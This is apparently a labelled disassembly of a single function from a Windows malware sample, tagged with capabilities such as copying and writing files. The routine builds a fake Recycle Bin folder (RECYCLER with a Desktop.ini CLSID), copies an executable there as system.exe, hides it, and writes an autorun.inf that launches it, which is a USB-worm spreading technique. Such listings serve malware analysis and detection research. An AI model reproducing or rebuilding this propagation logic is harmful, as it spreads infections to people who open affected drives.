Function at 0x40288b
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x40c
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x408], eax
push ebx
push ebp
push esi
push edi
mov esi, 0x200
lea eax, [esp + 0x18]
push esi
xor ebp, ebp
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
push esi
lea eax, [esp + 0x228]
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [esp + 0x438]
lea edx, [esp + 0x30]
add esp, 0x18
sub edx, ecx
mov dword [esp + 0x10], edx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x4028d9
mov edx, str.RECYCLER
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4028ea
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028f8
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402931
call ebx
cmp eax, 0xb7
jne 0x402a09
push 7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402945
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402953
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x402986
call ebx
cmp eax, 0xb7
jne 0x402a09
push 7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.Desktop.ini
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40299a
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029a8
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebp
push 6
push 2
push ebp
push ebp
mov ecx, edx
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402a09
mov edi, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4029e6
push ebp
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x402a25
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
mov ecx, dword [esp + 0x418]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040303d
add esp, 0x40c
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x420]
mov edx, dword [esp + 0x10]
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x402a36
mov ebx, str.system.exe
mov edx, ebx
mov esi, ebx
mov al, byte [edx]
inc edx
test al, al
jne 0x402a49
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a57
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebp
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402a09
push 7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, ebp
mov al, byte [ecx + str._autorun__r_nopen]
mov byte [esp + ecx + 0x218], al
inc ecx
test al, al
jne 0x402a8d
mov edx, ebx
mov esi, ebx
mov al, byte [edx]
inc edx
test al, al
jne 0x402aa3
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402ab4
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402ad1
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402ae2
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402afa
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b0b
mov ecx, ebx
mov edx, str._r_nshellopendefault1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402b28
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b39
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x420]
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x402b5a
mov edx, str._autorun.inf
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402b6b
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b79
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebp
push 7
push 2
push ebp
push ebp
push 0x40000000
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402a09
lea ecx, [esp + 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402bcb
push ebp
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x224]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402bf1
xor ebp, ebp
inc ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
jmp 0x402a0c